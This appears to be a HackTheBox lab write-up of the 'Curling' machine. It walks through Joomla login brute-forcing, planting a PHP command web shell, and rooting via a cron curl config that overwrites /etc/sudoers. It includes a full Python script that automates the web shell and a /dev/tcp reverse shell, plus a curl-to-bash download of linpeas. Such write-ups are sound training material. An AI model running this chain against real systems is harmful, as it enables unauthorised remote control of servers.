Home HackTheBox - Curling
Post
Cancel

HackTheBox - Curling

This is an Easy box from HackTheBox.

It’s OS is Linux, which is common in HackTheBox Machines.

It’s exploration was through Web.

My rate for this machine is 6/10.

I enjoyed the way we get reverse shell on this box.

In the end you can find the automated script to explore this machine!

Diagram

Here is the diagram for this machine. It’s a resume from it.

graph TD
    A[Enumeration] -->|Nmap - Wfuzz - Gobuster| B(/administrator and /secret.txt)
    B --> C{BurpSuite}
    C --> D{Joomla Php Cmd}
    D -->|Manual| E[Reverse Shell]
    D -->|Python Script| F[Reverse Shell]
    F -->G{www-data}
    E -->G{www-data}
    G -->H{Floris}
    H -->|Snapd - Cron| I{Root}

Enumeration

First step is to enumerate the box. For this we’ll use nmap

1
nmap -sV -sC -Pn 10.10.10.60

-sV - Services running on the ports

-sC - Run some standart scripts

-Pn - Consider the host alive

Port 80

Once we found just the port 80 opened, so let’s focus on this one to enumerate it.

We open it on the browser and see what is being shown.

We look at the source code and find something useful, a secret.txt

It’s base64

Seems to be a password

Start enumerate it with Gobuster and Wfuzz

1
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 http://10.10.10.150/FUZZ
1
gobuster dir -u http://10.10.10.150 -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt

We find the interesting administrator page, let’s try to log in with the credentials admin:Curling2018!

Not work, we could try to bruteforce it. Try to descovery the username with it

We generate the wordlist with cewl, as the site name suggests

1
cewl -w cewl.lista 10.10.10.150

We capture a login request for login on BurpSuite to use wfuzz in it

1
Cookie: c0548020854924e0aecd05ed9f5b672b=1j7421q4s8s4sugcmesf4k0h7a; 99fb082d992a92668ce87e5540bd20fa=3ing5m8njjt9daritdefr997fu
1
username=FUZZ&passwd=SENHA&option=com_login&task=login&return=aW5kZXgucGhw&e54846f868289414864167fa33d29a61=1
wfuzz -w cewl.lista -c --hc 200 -d 'username=FUZZ&passwd=Curling2018!&option=com_login&task=login&return=aW5kZXgucGhw&e54846f868289414864167fa33d29a61=1' -b '99fb082d992a92668ce87e5540bd20fa=3ing5m8njjt9daritdefr997fu' http://10.10.10.150/administrator/index.php

We found the login, that is Floris

Joomla - RCE

Now we log in on the application

Navigate to Extension - Templates - Protostar - New File

We upload a php reverse shell

Remember to change the IP and Port on the script

Click in New File

Copy and Paster the reverse shell

Now we get the reverse shell on the box

Awesome.. Now let’s try to automate it before the privilege escalation

Script

Now we will build a script to automate it, and gain a reverse shell automated

We got a skeleton in python to start working on it

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python3

import argparse
import requests
import sys

''' Setting up something important '''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''

def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-li', '--ipaddress', help='Listening IP address for reverse shell', required=False)
    parser.add_argument('-lp', '--port', help='Listening port for reverse shell', required=False)
    parser.add_argument('-u', '--username', help='Username to target', required=False)
    parser.add_argument('-p', '--password', help='Password value to set', required=False)
    args = parser.parse_args()
    
    rhost = args.target
    lhost = args.localip
    lport = args.port
    username = args.username
    password = args.password

    '''Here we call the functions'''
    
if __name__ == '__main__':
    main()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#!/usr/bin/python3
# Date: 2021-09-02
# Hack The Box - Curling
# Author: 0x4rt3mis

import argparse
import requests
import sys
import base64
import urllib.parse
import socket, telnetlib
from threading import Thread
import threading

''' Setting up something important '''
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
r = requests.session()

'''Here come the Functions'''

# Setar o handler
def handler(lport,target):
    print("[+] Starting handler on %s [+]" %lport) 
    t = telnetlib.Telnet()
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(('0.0.0.0',lport))
    s.listen(1)
    conn, addr = s.accept()
    print("[+] Connection from %s [+]" %target) 
    t.sock = conn
    print("[+] Shell'd [+]")
    t.interact()

#First we need to get the correct values to be passed on the log in request
def getValues(rhost):
    global return_value
    global other
    token_url = 'http://' + rhost + ':80/administrator/index.php'
    # Make the request to get return value
    token_page = r.get(token_url, proxies=proxies)
    # Get the index of the page, search for hidden in it
    index = token_page.text.find("hidden\"")
    # Get only the return value in it
    return_value = token_page.text[index:index+149].split('"')[-1]
    other = token_page.text[index:index+214].split('"')[-1]
    print("[+] Successsss to get the login values [+]")

# Now, we need to log on the Joomla
def login(rhost,username,password,return_value,other):
    url = "http://%s:80/administrator/index.php" %rhost
    headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://%s" %rhost, "Connection": "close", "Referer": "http://%s/administrator/index.php" %rhost, "Upgrade-Insecure-Requests": "1"}
    data = {"username": "%s" %username , "passwd": "%s" %password, "option": "com_login", "task": "login", "return": "%s" %return_value, "%s" %other: "1"} 
    login = r.post(url, cookies=r.cookies, data=data, headers=headers, proxies=proxies)
    if "member function" in login.text:
        print("[+] Login Succeeesss! [+]")
        global upsecurity
        # Get the UPSECURITY
        token_url = 'http://' + rhost + ':80/administrator/index.php'
        # Make the request to get return value
        token_page = r.get(token_url, proxies=proxies)
        index = token_page.text.find("/administrator/index.php")
        upsecurity = token_page.text[index:index+300].split(';')[2].split('=')[0]
        print("[+] Security Token Got!!!! [+]")
    else:
        print("[+] Login Failed! Verify your Burp! [+]")
        exit
    
def uploadCmd(rhost,upsecurity):
    # Get on the template protostar page
    url = "http://%s:80/administrator/index.php?option=com_templates&view=template&id=506&file=aG9tZQ==" %rhost
    r.get(url, proxies=proxies, cookies=r.cookies)
    # Let's create our comand php
    url = "http://%s:80/administrator/index.php?option=com_templates&task=template.createFile&id=506&file=aG9tZQ" %rhost
    data = {"name": "cmd", "type": "php", "address": '', "%s" %upsecurity: "1"}
    headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://%s" %rhost, "Connection": "close", "Referer": "http://%s/administrator/index.php?option=com_templates&view=template&id=506&file=aG9tZQ==" %rhost, "Upgrade-Insecure-Requests": "1"}
    r.post(url, proxies=proxies, cookies=r.cookies, data=data, headers=headers)
    # Let's save it with the php malicious
    url = "http://" + rhost + ":80/administrator/index.php?option=com_templates&view=template&id=506&file=L2NtZC5waHA%3D"
    r.get(url, proxies=proxies, cookies=r.cookies)
    # Save
    data1 = {"jform[source]": "<?php system($_GET['cmd']);?>", "task": "template.save", "%s" %upsecurity: "1", "jform[extension_id]": "506", "jform[filename]": "/cmd.php"}
    headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://%s" %rhost, "Connection": "close", "Referer": "http://" + rhost +"/administrator/index.php?option=com_templates&view=template&id=506&file=L2NtZC5waHA%3D", "Upgrade-Insecure-Requests": "1"}
    url = "http://%s:80/administrator/index.php?option=com_templates&view=template&id=506&file=L2NtZC5waHA=" %rhost
    r.post(url, proxies=proxies, cookies=r.cookies, data=data1, headers=headers)
    # Save
    url = "http://%s:80/administrator/index.php?option=com_templates&view=template&id=506&file=aG9tZQ==" %rhost
    r.get(url, proxies=proxies, cookies=r.cookies)
    # Let's trigger it
    
def getReverse(rhost,lhost,lport):
    print("[+] Now Let's get the reverse shell! [+]")
    reverse = "bash -i >& /dev/tcp/%s/%s 0>&1" %(lhost,lport)
    message_bytes = reverse.encode('ascii')
    base64_bytes = base64.b64encode(message_bytes)
    base64_message = base64_bytes.decode('ascii')

    payload = {
    'cmd': 'echo ' + base64_message + '|base64 -d | bash'
}
    payload_str = urllib.parse.urlencode(payload, safe='|')
    url = "http://%s:80/templates/protostar/cmd.php?" %rhost
    r.get(url, params=payload_str, proxies=proxies, cookies=r.cookies)
    
def main():
    # Parse Arguments
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='Target ip address or hostname', required=True)
    parser.add_argument('-li', '--localip', help='Listening IP address for reverse shell', required=False)
    parser.add_argument('-lp', '--port', help='Listening port for reverse shell', required=False)
    parser.add_argument('-u', '--username', help='Username to target', required=False)
    parser.add_argument('-p', '--password', help='Password value to set', required=False)
    args = parser.parse_args()
    
    rhost = args.target
    lhost = args.localip
    lport = args.port
    username = args.username
    password = args.password

    '''Here we call the functions'''

    # Set up the handler
    thr = Thread(target=handler,args=(int(lport),rhost))
    thr.start()
    # Get the security values
    getValues(rhost)
    # Log in and get security token
    login(rhost,username,password,return_value,other)
    # Upload the cmd
    uploadCmd(rhost,upsecurity)
    # Get the rev shell
    getReverse(rhost,lhost,lport)
if __name__ == '__main__':
    main()

www-data -> Floris

Now that we already have a shell on this box, let’s become root.

On the home page from floris we see a interesting archive

It’s using some kind of magic… encript and zipped, after poking arround we get how to solve it

1
2
3
4
5
6
7
8
9
10
11
xxd -r password_backup > 1
file 1
bzcat 1 > 2
file 2
zcat 2 > 3
file 3
bzcat 3 > 4
file 4
tar -xf 4
ls
cat password.txt

We get the password from Floris - 5d<wdCbdZu)|hChXll

So, we become Floris (we log in ssh, it’s better)

Now, we will get root

Floris -> root

Let’s run linpeas to see what we can do

Linpeas Link

Download in our Kali

1
wget https://raw.githubusercontent.com/carlospolop/PEASS-ng/master/linPEAS/linpeas.sh

Now we execute on the machine

1
curl -s 10.10.14.15/linpeas.sh | bash

No sucess, nothing useful. We keep enumerating the box, and found two ways of privilege escalation in it.

Cron

To see it we use the pspy

1
https://github.com/DominicBreuker/pspy

Download on the box

And execute it

We see that it’s executing some cron activities

The first, is using cron. If we look at the admin-area folder, we see two archives, input and report.

Seems to be making a request using curl, we can try to see some archive on the user machine trough it

We see on the cron, that it’s making a curl -K and after replacing it to the default file.

We see on the man, what we can do with the -K option

So we will make our Floris, a sudoers

1
2
3
url = "http://10.10.14.15/sudoers
output = "/etc/sudoers"
user-agent = "superagent/1.0"

This is our sudoers that we will send to the server

We change the input file, to come to my machine and get the sudoers file

Now, we become root

Snapd

The other way is trough snapd

We search for exploit to it searchsploit snap 2.32

Donwload it on the machine

Execute it

Now we become root

This post is licensed under CC BY 4.0 by the author.